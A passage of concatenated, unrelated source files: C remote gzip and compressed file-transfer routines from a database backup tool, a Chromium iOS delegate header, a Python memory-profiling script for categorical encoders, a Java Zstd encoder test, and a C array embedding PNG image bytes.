(gz->eof) { return 0; } gz->strm.next_out = (Bytef *)buf; gz->strm.avail_out = size; while (1) { if (gz->strm.avail_in != 0) /* If there is some data in receiver buffer, then decompress it */ { rc = inflate(&gz->strm, Z_NO_FLUSH); if (rc == Z_STREAM_END) { gz->eof = 1; } else if (rc != Z_OK) { gz->errnum = rc; return -1; } if (gz->strm.avail_out != size) { return size - gz->strm.avail_out; } if (gz->strm.avail_in == 0) { gz->strm.next_in = gz->buf; } } else { gz->strm.next_in = gz->buf; } rc = fio_read(gz->fd, gz->strm.next_in + gz->strm.avail_in, gz->buf + ZLIB_BUFFER_SIZE - gz->strm.next_in - gz->strm.avail_in); if (rc > 0) { gz->strm.avail_in += rc; } else { if (rc == 0) { gz->eof = 1; } return rc; } } } else { return gzread(f, buf, size); } } int fio_gzwrite(gzFile f, void * buf, unsigned size) { if ((size_t)f & FIO_GZ_REMOTE_MARKER) { int rc; fioGZFile* gz = (fioGZFile*)((size_t)f - FIO_GZ_REMOTE_MARKER); gz->strm.next_in = (Bytef *)buf; gz->strm.avail_in = size; do { if (gz->strm.avail_out == ZLIB_BUFFER_SIZE) /* Compress buffer is empty */ { gz->strm.next_out = gz->buf; /* Reset pointer to the beginning of buffer */ if (gz->strm.avail_in != 0) /* Has something in input buffer */ { rc = deflate(&gz->strm, Z_NO_FLUSH); Assert(rc == Z_OK); gz->strm.next_out = gz->buf; /* Reset pointer to the beginning of buffer */ } else { break; } } rc = fio_write(gz->fd, gz->strm.next_out, ZLIB_BUFFER_SIZE - gz->strm.avail_out); if (rc >= 0) { gz->strm.next_out += rc; gz->strm.avail_out += rc; } else { return rc; } } while (gz->strm.avail_out != ZLIB_BUFFER_SIZE || gz->strm.avail_in != 0); return size; } else { return gzwrite(f, buf, size); } } int fio_gzclose(gzFile f) { if ((size_t)f & FIO_GZ_REMOTE_MARKER) { fioGZFile* gz = (fioGZFile*)((size_t)f - FIO_GZ_REMOTE_MARKER); int rc; if (gz->compress) { gz->strm.next_out = gz->buf; rc = deflate(&gz->strm, Z_FINISH); Assert(rc == Z_STREAM_END && gz->strm.avail_out != ZLIB_BUFFER_SIZE); deflateEnd(&gz->strm); rc = fio_write(gz->fd, gz->buf, ZLIB_BUFFER_SIZE - gz->strm.avail_out); if (rc != (int)(ZLIB_BUFFER_SIZE - gz->strm.avail_out)) { return -1; } } else { inflateEnd(&gz->strm); } rc = fio_close(gz->fd); free(gz); return rc; } else { return gzclose(f); } } int fio_gzeof(gzFile f) { if ((size_t)f & FIO_GZ_REMOTE_MARKER) { fioGZFile* gz = (fioGZFile*)((size_t)f - FIO_GZ_REMOTE_MARKER); return (int)gz->eof; } else { return gzeof(f); } } const char* fio_gzerror(gzFile f, int *errnum) { if ((size_t)f & FIO_GZ_REMOTE_MARKER) { fioGZFile* gz = (fioGZFile*)((size_t)f - FIO_GZ_REMOTE_MARKER); if (errnum) *errnum = gz->errnum; return gz->strm.msg; } else { return gzerror(f, errnum); } } z_off_t fio_gzseek(gzFile f, z_off_t offset, int whence) { Assert(!((size_t)f & FIO_GZ_REMOTE_MARKER)); return gzseek(f, offset, whence); } /* Receive chunks of compressed data, decompress them and write to * destination file. * Return codes: * FILE_MISSING (-1) * OPEN_FAILED (-2) * READ_FAILED (-3) * WRITE_FAILED (-4) * ZLIB_ERROR (-5) * REMOTE_ERROR (-6) */ int fio_send_file_gz(const char *from_fullpath, const char *to_fullpath, FILE* out, char **errormsg) { fio_header hdr; int exit_code = SEND_OK; char *in_buf = (char *)pgut_malloc(CHUNK_SIZE); /* buffer for compressed data */ char *out_buf = (char *)pgut_malloc(OUT_BUF_SIZE); /* 1MB buffer for decompressed data */ size_t path_len = strlen(from_fullpath) + 1; /* decompressor */ z_stream *strm = NULL; int nRet = 0; hdr.cop = FIO_SEND_FILE; hdr.size = path_len; IO_CHECK(fio_write_all(fio_stdout, &hdr, sizeof(hdr)), sizeof(hdr)); IO_CHECK(fio_write_all(fio_stdout, from_fullpath, path_len), (ssize_t)path_len); for (;;) { fio_header hdr; IO_CHECK(fio_read_all(fio_stdin, &hdr, sizeof(hdr)), sizeof(hdr)); if (hdr.cop == FIO_SEND_FILE_EOF) { break; } else if (hdr.cop == FIO_ERROR) { bool valid = hdr.size > 0 && hdr.size <= CHUNK_SIZE; /* handle error, reported by the agent */ if (valid) { IO_CHECK(fio_read_all(fio_stdin, in_buf, hdr.size), (ssize_t)hdr.size); *errormsg = (char *)pgut_malloc(hdr.size); nRet = snprintf_s(*errormsg, hdr.size, hdr.size - 1, "%s", in_buf); securec_check_ss_c(nRet, "\0", "\0"); } exit_code = hdr.arg; goto cleanup; } else if (hdr.cop == FIO_PAGE) { int rc; Assert(hdr.size <= CHUNK_SIZE); if (hdr.size > CHUNK_SIZE) { hdr.size = CHUNK_SIZE; } IO_CHECK(fio_read_all(fio_stdin, in_buf, hdr.size), (ssize_t)hdr.size); /* We have received a chunk of compressed data, lets decompress it */ if (strm == NULL) { /* Initialize decompressor */ strm = (z_stream *)pgut_malloc(sizeof(z_stream)); rc = memset_s(strm, sizeof(z_stream), 0, sizeof(z_stream)); securec_check(rc, "\0", "\0"); /* The fields next_in, avail_in initialized before init */ strm->next_in = (Bytef *)in_buf; strm->avail_in = hdr.size; rc = inflateInit2(strm, 15 + 16); if (rc != Z_OK) { *errormsg = (char *)pgut_malloc(ERRMSG_MAX_LEN); nRet = snprintf_s(*errormsg, ERRMSG_MAX_LEN, ERRMSG_MAX_LEN - 1, "Failed to initialize decompression stream for file '%s': %i: %s", from_fullpath, rc, strm->msg); securec_check_ss_c(nRet, "\0", "\0"); exit_code = ZLIB_ERROR; goto cleanup; } } else { strm->next_in = (Bytef *)in_buf; strm->avail_in = hdr.size; } strm->next_out = (Bytef *)out_buf; /* output buffer */ strm->avail_out = OUT_BUF_SIZE; /* free space in output buffer */ /* * From zlib documentation: * The application must update next_in and avail_in when avail_in * has dropped to zero. It must update next_out and avail_out when * avail_out has dropped to zero. */ while (strm->avail_in != 0) /* while there is data in input buffer, decompress it */ { /* decompress until there is no data to decompress, * or buffer with uncompressed data is full */ rc = inflate(strm, Z_NO_FLUSH); if (rc == Z_STREAM_END) /* end of stream */ break; else if (rc != Z_OK) { /* got an error */ *errormsg = (char *)pgut_malloc(ERRMSG_MAX_LEN); nRet = snprintf_s(*errormsg, ERRMSG_MAX_LEN,ERRMSG_MAX_LEN - 1, "Decompression failed for file '%s': %i: %s", from_fullpath, rc, strm->msg); securec_check_ss_c(nRet, "\0", "\0"); exit_code = ZLIB_ERROR; goto cleanup; } if (strm->avail_out == 0) { /* Output buffer is full, write it out */ if (fwrite(out_buf, 1, OUT_BUF_SIZE, out) != OUT_BUF_SIZE) { exit_code = WRITE_FAILED; goto cleanup; } strm->next_out = (Bytef *)out_buf; /* output buffer */ strm->avail_out = OUT_BUF_SIZE; } } /* write out leftovers if any */ if (strm->avail_out != OUT_BUF_SIZE) { int len = OUT_BUF_SIZE - strm->avail_out; if (fwrite(out_buf, 1, len, out) != (size_t)len) { exit_code = WRITE_FAILED; goto cleanup; } } } else elog(ERROR, "Remote agent returned message of unexpected type: %i", hdr.cop); } cleanup: if (exit_code < OPEN_FAILED) fio_disconnect(); /* discard possible pending data in pipe */ if (strm) { inflateEnd(strm); pg_free(strm); } pg_free(in_buf); pg_free(out_buf); return exit_code; } #endif
8,213
14,668
<reponame>zealoussnow/chromium // Copyright 2019 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef IOS_CHROME_BROWSER_UI_TOOLBAR_ACCESSORY_TOOLBAR_ACCESSORY_COORDINATOR_DELEGATE_H_ #define IOS_CHROME_BROWSER_UI_TOOLBAR_ACCESSORY_TOOLBAR_ACCESSORY_COORDINATOR_DELEGATE_H_ @class ChromeCoordinator; @protocol ToolbarAccessoryCoordinatorDelegate - (void)toolbarAccessoryCoordinatorDidDismissUI: (ChromeCoordinator*)toolbarAccessoryCoordinator; @end #endif // IOS_CHROME_BROWSER_UI_TOOLBAR_ACCESSORY_TOOLBAR_ACCESSORY_COORDINATOR_DELEGATE_H_
257
1,178
<reponame>PGijsbers/categorical-encoding from memory_profiler import profile import gc import category_encoders as ce from examples.source_data.loaders import get_mushroom_data, get_cars_data, get_splice_data __author__ = 'willmcginnis' @profile(precision=4) def hashing(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.HashingEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def leaveoneout(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.LeaveOneOutEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def onehot(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.OneHotEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def ordinal(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.OrdinalEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def backward_difference(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.BackwardDifferenceEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def binary(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.BinaryEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def helmert(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.HelmertEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def polynomial(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.PolynomialEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def sum_coding(): X, _, _ = get_mushroom_data() print(X.info()) enc = ce.SumEncoder() enc.fit(X, None) out = enc.transform(X) print(out.info()) del enc, _, X, out @profile(precision=4) def control(): X, _, _ = get_mushroom_data() del X if __name__ == '__main__': gc.collect() leaveoneout() gc.collect()
1,083
1,652
package com.ctrip.xpipe.redis.proxy.handler; import com.ctrip.xpipe.AbstractTest; import com.github.luben.zstd.Zstd; import io.netty.buffer.ByteBuf; import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel; import org.junit.Assert; import org.junit.Ignore; import org.junit.Test; import java.nio.ByteBuffer; import java.nio.charset.Charset; import static com.ctrip.xpipe.redis.proxy.handler.ZstdConstants.*; public class ZstdEncoderTest extends AbstractTest { private ZstdEncoder encoder = new ZstdEncoder(); @Ignore @Test public void testCompressionLevel() { logger.info("{}", ZstdEncoder.compressionLevel(64)); logger.info("{}", ZstdEncoder.compressionLevel(DEFAULT_BLOCK_SIZE)); int compressionLevel = ZstdEncoder.compressionLevel(DEFAULT_BLOCK_SIZE); int blockType = BLOCK_TYPE_NON_COMPRESSED; logger.info("{}", (byte) (blockType | compressionLevel)); blockType = BLOCK_TYPE_COMPRESSED; logger.info("{}", (byte) (blockType | compressionLevel)); logger.info("{}", 0xF0); byte token = (byte) (BLOCK_TYPE_NON_COMPRESSED | compressionLevel); logger.info("{}", token & 0xF0); token = (byte) (BLOCK_TYPE_COMPRESSED | compressionLevel); logger.info("{}", token & 0xF0); token = (byte) (BLOCK_TYPE_COMPRESSED); logger.info("{}", token & 0xF0); token = (byte) (BLOCK_TYPE_NON_COMPRESSED); logger.info("{}", token & 0xF0); logger.info("{}", BLOCK_TYPE_COMPRESSED); logger.info("{}", BLOCK_TYPE_NON_COMPRESSED); } @Ignore @Test public void testInternalNioBuffer() { String sample = randomString(1024); byte[] sampleBytes = sample.getBytes(); ByteBuf byteBuf = Unpooled.directBuffer(DEFAULT_BLOCK_SIZE); int idx = byteBuf.writerIndex(); ByteBuffer buffer = byteBuf.internalNioBuffer(idx + HEADER_LENGTH, sampleBytes.length); buffer.put(sampleBytes); byteBuf.writerIndex(idx + HEADER_LENGTH + sampleBytes.length); byteBuf.readerIndex(idx + HEADER_LENGTH); logger.info("{}", byteBuf.toString(Charset.defaultCharset())); Assert.assertEquals(sample, byteBuf.toString(Charset.defaultCharset())); } @Test public void testEncodeWithDefaultBlockSize() { String sample = randomString(DEFAULT_BLOCK_SIZE); EmbeddedChannel channel = new EmbeddedChannel(encoder); ByteBuf byteBuf = Unpooled.directBuffer(DEFAULT_BLOCK_SIZE); byte[] sampleBytes = sample.getBytes(); byteBuf.ensureWritable(sampleBytes.length); byteBuf.writeBytes(sampleBytes); Assert.assertTrue(channel.writeOutbound(byteBuf)); ByteBuf target = channel.readOutbound(); Assert.assertNotNull(target); ByteBuffer buffer = ByteBuffer.allocateDirect(sampleBytes.length); buffer.clear(); target.readerIndex(target.readerIndex() + HEADER_LENGTH); ByteBuffer source = target.internalNioBuffer(target.readerIndex(), target.readableBytes()); Zstd.decompress(buffer, source); buffer.flip(); ByteBuf buf = Unpooled.wrappedBuffer(buffer); String val = buf.toString(Charset.defaultCharset()); Assert.assertEquals(sample, val); } @Test public void testEncodeUnCompressed() { String sample = randomString(MIN_BLOCK_SIZE); EmbeddedChannel channel = new EmbeddedChannel(encoder); ByteBuf byteBuf = Unpooled.directBuffer(MIN_BLOCK_SIZE); byte[] sampleBytes = sample.getBytes(); byteBuf.ensureWritable(sampleBytes.length); byteBuf.writeBytes(sampleBytes); Assert.assertTrue(channel.writeOutbound(byteBuf)); ByteBuf target = channel.readOutbound(); Assert.assertNotNull(target); target.readerIndex(HEADER_LENGTH); Assert.assertEquals(sample, target.toString(Charset.defaultCharset())); } }
1,630
463
static const unsigned char printer_lg_png[] = { 0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a,0x00,0x00,0x00,0x0d,0x49,0x48,0x44,0x52, 0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x08,0x06,0x00,0x00,0x00,0xf4,0x78,0xd4, 0xfa,0x00,0x00,0x04,0x19,0x69,0x43,0x43,0x50,0x6b,0x43,0x47,0x43,0x6f,0x6c,0x6f, 0x72,0x53,0x70,0x61,0x63,0x65,0x47,0x65,0x6e,0x65,0x72,0x69,0x63,0x52,0x47,0x42, 0x00,0x00,0x38,0x8d,0x8d,0x55,0x5d,0x68,0x1c,0x55,0x14,0x3e,0xbb,0x73,0x67,0x23, 0x24,0xce,0x53,0x6c,0x34,0x85,0x74,0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b,0xd2,0x93,0x62,0x1a,0xaf,0x36, 0x2a,0x96,0x9a,0xea,0xe8,0x88,0xa8,0x18,0x86,0xc8,0x4c,0x8e,0x68,0x53,0x87,0xda, 0x6d,0x5a,0x1b,0x05,0xef,0xde,0xf4,0x8f,0xf4,0x9b,0x32,0xbb,0x0f,0x13,0x5b,0x2e, 0x47,0x9c,0xfb,0x0c,0xc0,0xbe,0x3f,0xf1,0xec,0xfb,0x2e,0xe2,0x8e,0xb4,0x00,0x96, 0x1c,0x80,0x81,0xc7,0x23,0x6e,0x18,0xcf,0xca,0x07,0xde,0x05,0x38,0xf3,0x84,0xda, 0xb2,0xdb,0xc1,0x1d,0x91,0x48,0x7c,0x0b,0xe0,0xd4,0xf7,0xec,0xf6,0xbf,0xfa,0x32, 0x78,0x7e,0xfd,0xd4,0xe9,0xdc,0xc4,0x73,0xac,0xe7,0x2d,0x80,0xb5,0x37,0x3b,0x9d, 0xbf,0xdf,0xef,0x74,0xd6,0x3e,0x40,0xff,0xab,0x00,0x67,0x8d,0x7f,0x01,0xa0,0x9f, 0x7c,0x55,0x03,0x5c,0x0b,0xef,0x00,0x00,0x00,0x38,0x65,0x58,0x49,0x66,0x4d,0x4d, 0x00,0x2a,0x00,0x00,0x00,0x08,0x00,0x01,0x87,0x69,0x00,0x04,0x00,0x00,0x00,0x01, 0x00,0x00,0x00,0x1a,0x00,0x00,0x00,0x00,0x00,0x02,0xa0,0x02,0x00,0x04,0x00,0x00, 0x00,0x01,0x00,0x00,0x02,0x00,0xa0,0x03,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00, 0x02,0x00,0x00,0x00,0x00,0x00,0x28,0x30,0x97,0xbf,0x00,0x00,0x03,0x62,0x69,0x54, 0x58,0x74,0x58,0x4d,0x4c,0x3a,0x63,0x6f,0x6d,0x2e,0x61,0x64,0x6f,0x62,0x65,0x2e, 0x78,0x6d,0x70,0x00,0x00,0x00,0x00,0x00,0x3c,0x78,0x3a,0x78,0x6d,0x70,0x6d,0x65, 0x74,0x61,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3a,0x78,0x3d,0x22,0x61,0x64,0x6f,0x62, 0x65,0x3a,0x6e,0x73,0x3a,0x6d,0x65,0x74,0x61,0x2f,0x22,0x20,0x78,0x3a,0x78,0x6d, 0x70,0x74,0x6b,0x3d,0x22,0x58,0x4d,0x50,0x20,0x43,0x6f,0x72,0x65,0x20,0x35,0x2e, 0x34,0x2e,0x30,0x22,0x3e,0x0a,0x20,0x20,0x20,0x3c,0x72,0x64,0x66,0x3a,0x52,0x44, 0x46,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3a,0x72,0x64,0x66,0x3d,0x22,0x68,0x74,0x74, 0x70,0x3a,0x2f,0x2f,0x77,0x77,0x77,0x2e,0x77,0x33,0x2e,0x6f,0x72,0x67,0x2f,0x31, 0x39,0x39,0x39,0x2f,0x30,0x32,0x2f,0x32,0x32,0x2d,0x72,0x64,0x66,0x2d,0x73,0x79, 0x6e,0x74,0x61,0x78,0x2d,0x6e,0x73,0x23,0x22,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20, 0x20,0x3c,0x72,0x64,0x66,0x3a,0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6f, 0x6e,0x20,0x72,0x64,0x66,0x3a,0x61,0x62,0x6f,0x75,0x74,0x3d,0x22,0x22,0x0a,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x78,0x6d,0x6c,0x6e,0x73, 0x3a,0x64,0x63,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x70,0x75,0x72,0x6c, 0x2e,0x6f,0x72,0x67,0x2f,0x64,0x63,0x2f,0x65,0x6c,0x65,0x6d,0x65,0x6e,0x74,0x73, 0x2f,0x31,0x2e,0x31,0x2f,0x22,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20,0x78,0x6d,0x6c,0x6e,0x73,0x3a,0x49,0x70,0x74,0x63,0x34,0x78,0x6d, 0x70,0x45,0x78,0x74,0x3d,0x22,0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x69,0x70,0x74, 0x63,0x2e,0x6f,0x72,0x67,0x2f,0x73,0x74,0x64,0x2f,0x49,0x70,0x74,0x63,0x34,0x78, 0x6d,0x70,0x45,0x78,0x74,0x2f,0x32,0x30,0x30,0x38,0x2d,0x30,0x32,0x2d,0x32,0x39, 0x2f,0x22,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x78, 0x6d,0x6c,0x6e,0x73,0x3a,0x70,0x68,0x6f,0x74,0x6f,0x73,0x68,0x6f,0x70,0x3d,0x22, 0x68,0x74,0x74,0x70,0x3a,0x2f,0x2f,0x6e,0x73,0x2e,0x61,0x64,0x6f,0x62,0x65,0x2e, 0x63,0x6f,0x6d,0x2f,0x70,0x68,0x6f,0x74,0x6f,0x73,0x68,0x6f,0x70,0x2f,0x31,0x2e, 0x30,0x2f,0x22,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x64, 0x63,0x3a,0x63,0x72,0x65,0x61,0x74,0x6f,0x72,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72,0x64,0x66,0x3a,0x53,0x65,0x71,0x3e, 0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x3c,0x72,0x64,0x66,0x3a,0x6c,0x69,0x3e,0x4d,0x69,0x63,0x68,0x61,0x65,0x6c,0x20, 0x53,0x77,0x65,0x65,0x74,0x3c,0x2f,0x72,0x64,0x66,0x3a,0x6c,0x69,0x3e,0x0a,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x2f,0x72,0x64,0x66, 0x3a,0x53,0x65,0x71,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c, 0x2f,0x64,0x63,0x3a,0x63,0x72,0x65,0x61,0x74,0x6f,0x72,0x3e,0x0a,0x20,0x20,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x64,0x63,0x3a,0x72,0x69,0x67,0x68,0x74,0x73, 0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72, 0x64,0x66,0x3a,0x41,0x6c,0x74,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x72,0x64,0x66,0x3a,0x6c,0x69,0x20,0x78, 0x6d,0x6c,0x3a,0x6c,0x61,0x6e,0x67,0x3d,0x22,0x78,0x2d,0x64,0x65,0x66,0x61,0x75, 0x6c,0x74,0x22,0x3e,0x43,0x6f,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0x32,0x30, 0x31,0x30,0x20,0x41,0x70,0x70,0x6c,0x65,0x20,0x49,0x6e,0x63,0x2e,0x3c,0x2f,0x72, 0x64,0x66,0x3a,0x6c,0x69,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, 0x20,0x20,0x20,0x3c,0x2f,0x72,0x64,0x66,0x3a,0x41,0x6c,0x74,0x3e,0x0a,0x20,0x20, 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x2f,0x64,0x63,0x3a,0x72,0x69,0x67,0x68, 0x74,0x73,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x49,0x70, 0x74,0x63,0x34,0x78,0x6d,0x70,0x45,0x78,0x74,0x3a,0x48,0x65,0x61,0x64,0x6c,0x69, 0x6e,0x65,0x3e,0x4e,0x65,0x77,0x20,0x49,0x6d,0x61,0x67,0x65,0x3c,0x2f,0x49,0x70, 0x74,0x63,0x34,0x78,0x6d,0x70,0x45,0x78,0x74,0x3a,0x48,0x65,0x61,0x64,0x6c,0x69, 0x6e,0x65,0x3e,0x0a,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x70,0x68, 0x6f,0x74,0x6f,0x73,0x68,0x6f,0x70,0x3a,0x48,0x65,0x61,0x64,0x6c,0x69,0x6e,0x65, 0x3e,0x4e,0x65,0x77,0x20,0x49,0x6d,0x61,0x67,0x65,0x3c,0x2f,0x70,0x68,0x6f,0x74, 0x6f,0x73,0x68,0x6f,0x70,0x3a,0x48,0x65,0x61,0x64,0x6c,0x69,0x6e,0x65,0x3e,0x0a, 0x20,0x20,0x20,0x20,0x20,0x20,0x3c,0x2f,0x72,0x64,0x66,0x3a,0x44,0x65,0x73,0x63, 0x72,0x69,0x70,0x74,0x69,0x6f,0x6e,0x3e,0x0a,0x20,0x20,0x20,0x3c,0x2f,0x72,0x64, 0x66,0x3a,0x52,0x44,0x46,0x3e,0x0a,0x3c,0x2f,0x78,0x3a,0x78,0x6d,0x70,0x6d,0x65, 0x74,0x61,0x3e,0x0a,0xa0,0x50,0x98,0x64,0x00,0x00,0x6b,0x41,0x49,0x44,0x41,0x54, 0x78,0xda,0xed,0x9d,0x07,0xfc,0x1c,0x55,0xb9,0xb0,0x4f,0x7a,0xef,0x40,0x0a,0x49, 0x20,0x10,0x9a,0x54,0xe9,0x46,0x7a,0x13,0x14,0x2e,0x52,0x42,0x53,0x54,0x04,0x2f, 0x28,0x02,0xf7,0x7e,0x82,0x15,0x51,0x51,0x11,0x14,0x6c,0x28,0xc2,0xfd,0x79,0x51, 0x41,0x41,0xa4,0x37,0xf9,0x40,0x3a,0x48,0x07,0x29,0x86,0x96,0x90,0x00,0x09,0x24, 0x90,0x46,0x7a,0xcf,0x7e,0xe7,0x1d,0x32,0xff,0x6f,0x72,0x72,0xce,0x9c,0x33,0xbb, 0x33,0xbb,0xb3,0xbb,0xcf,0x93,0xdf,0xc9,0xee,0x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b7,0xad,0x39,0xc7,0x00,0x00,0x00,0x4e,0x26,0xe8, 0x76,0x9e,0x56,0x02,0x6e,0x6a,0x6a,0x05,0x40,0x0b,0xfe,0x2d,0xf5,0xcb,0x65,0xea, 0xc3,0xf1,0x7d,0x00,0x00,0x00,0x08,0x43,0xe2,0x04,0xbe,0xa2,0x15,0x81,0x57,0x8b, 0xda,0x40,0x21,0x51,0xf6,0x5a,0xf0,0xf7,0xd6,0xed,0x02,0xfd,0xf6,0x05,0x84,0x3f, 0x00,0x00,0x40,0x66,0x44,0x76,0xbe,0x20,0xb2,0x54,0x64,0x6a,0x53,0x78,0x00,0xf4, 0x8e,0xee,0xae,0x5f,0xae,0x51,0x1f,0xe6,0xed,0x03,0x00,0x00,0x40,0x6d,0x48,0x5d, 0x81,0x13,0xb4,0x37,0xe0,0x89,0xd2,0x7a,0x00,0xb4,0xf0,0xff,0x9a,0x7e,0x79,0x18, 0xe1,0x0f,0x00,0x00,0x90,0x1b,0x22,0x53,0x1f,0x5e,0x23,0x63,0xcb,0xe5,0x01,0xd0, 0x3b,0x25,0x95,0xf9,0xfe,0xa8,0xdb,0x61,0x9c,0x27,0x00,0x00,0x80,0xc2,0xb8,0x5d, 0xb7,0x2f,0x68,0x6f,0xc0,0x9c,0x86,0x2b,0x00,0x5a,0xf8,0x8b,0x66,0x72,0x8f,0xfa, 0xb0,0x5c,0x2f,0x00,0x00,0x00,0x14,0x8b,0x94,0x19,0x3e,0x48,0x2b,0x01,0x53,0x6a, 0x59,0x49,0x4d,0x43,0x00,0x5a,0xf8,0x6f,0xaf,0x5f,0x1e,0x43,0xf8,0x03,0x00,0x00, 0xd4,0x0d,0x91,0xb9,0x8f,0xad,0x91,0xc1,0xf5,0x57,0x00,0xf4,0x86,0xf7,0xd6,0x2f, 0x0f,0xe9,0x36,0x8c,0x73,0x01,0x00,0x00,0x50,0x57,0x44,0xf6,0x3e,0xb4,0x46,0x16, 0x57,0x45,0x55,0x43,0x00,0x6b,0x36,0xf8,0x7f,0x75,0xeb,0xc9,0x39,0x00,0x00,0x00, 0x68,0x18,0x52,0x4e,0xf8,0x60,0x3d,0x1c,0xf0,0x50,0xe1,0x0a,0xc0,0x1a,0x97,0x83, 0x6c,0x68,0x00,0xc7,0x1d,0x00,0x00,0xa0,0xe1,0xcc,0xd3,0x6d,0x6f,0xad,0x04,0xbc, 0x50,0x98,0x02,0xb0,0x26,0xe0,0x4f,0xc6,0xfc,0x71,0xfb,0x03,0x00,0x00,0x94,0x87, 0x19,0xba,0x8d,0xcb,0x12,0x18,0x18,0xac,0x00,0xac,0x49,0xf5,0x7b,0x52,0x11,0xf0, 0x07,0x00,0x00,0x50,0x46,0x24,0x3b,0x60,0xb7,0xd0,0x14,0xc1,0x2c,0x41,0x80,0x7f, 0x44,0xf8,0x03,0x00,0x00,0x94,0x96,0xb1,0x6b,0x64,0x75,0x10,0x41,0x0a,0xc0,0x9a, 0xea,0x43,0x14,0xf9,0x01,0x00,0x00,0x28,0x37,0x87,0x85,0x56,0x0c,0xf4,0x0e,0x01, 0xac,0xa9,0xed,0x2f,0xe5,0x7d,0xbb,0x71,0x5c,0x01,0x00,0x00,0x4a,0xcf,0x0a,0xdd, 0xf6,0xf2,0xcd,0x1d,0xd0,0xc9,0x23,0xfc,0x65,0x06,0xa2,0x7f,0x2b,0x6a,0xfb,0x03, 0x00,0x00,0x34,0x13,0x12,0x0c,0xb8,0x8d,0x56,0x02,0x16,0xbb,0x16,0xf0,0x0d,0x01, 0x9c,0x8b,0xf0,0x07,0x00,0x00,0x68,0x3a,0xc6,0xac,0x91,0xe1,0xd9,0x3d,0x00,0xda, 0xfa,0xdf,0x52,0xbf,0x48,0x4e,0x61,0x77,0x8e,0x23,0x00,0x00,0x40,0xd3,0xb1,0x5c, 0xb7,0xed,0xb5,0x17,0xe0,0xd5,0xac,0x0a,0xc0,0xfd,0xfa,0x65,0xdf,0x5a,0xb7,0xbe, 0x72,0xe5,0x4a,0x35,0x77,0xee,0xdc,0xd4,0x65,0xba,0x75,0xeb,0xa6,0x06,0x0e,0x1c, 0xc8,0xa9,0x02,0x00,0x00,0xc8,0x97,0x07,0xb4,0x02,0xb0,0x5f,0xb0,0x02,0xa0,0x85, 0xff,0x51,0xfa,0xe5,0x86,0x3c,0xb6,0x7c,0xe9,0xa5,0x97,0xaa,0x33,0xcf,0x3c,0x33, 0x75,0x99,0xee,0xdd,0xbb,0xab,0x65,0xcb,0x96,0x71,0x9a,0x00,0x00,0x00,0xf2,0xe7, 0x68,0xad,0x04,0xdc,0x68,0x7e,0xd8,0xd9,0x22,0xfc,0xe5,0xb3,0x1f,0xe4,0xb5,0xd5, 0xe5,0xcb,0x97,0xe7,0xb2,0x0c,0x00,0x00,0x00,0x54,0xc5,0x0f,0xd6,0xc8,0xf6,0x74, 0x05,0x40,0x33,0x5e,0xb7,0xad,0x39,0x5e,0x00,0x00,0x00,0x2d,0xc1,0xd6,0x6b,0x64, 0xbb,0x57,0x01,0x38,0x9b,0x63,0x05,0x00,0x00,0xd0,0x52,0x9c,0x9d,0xaa,0x00,0x68, 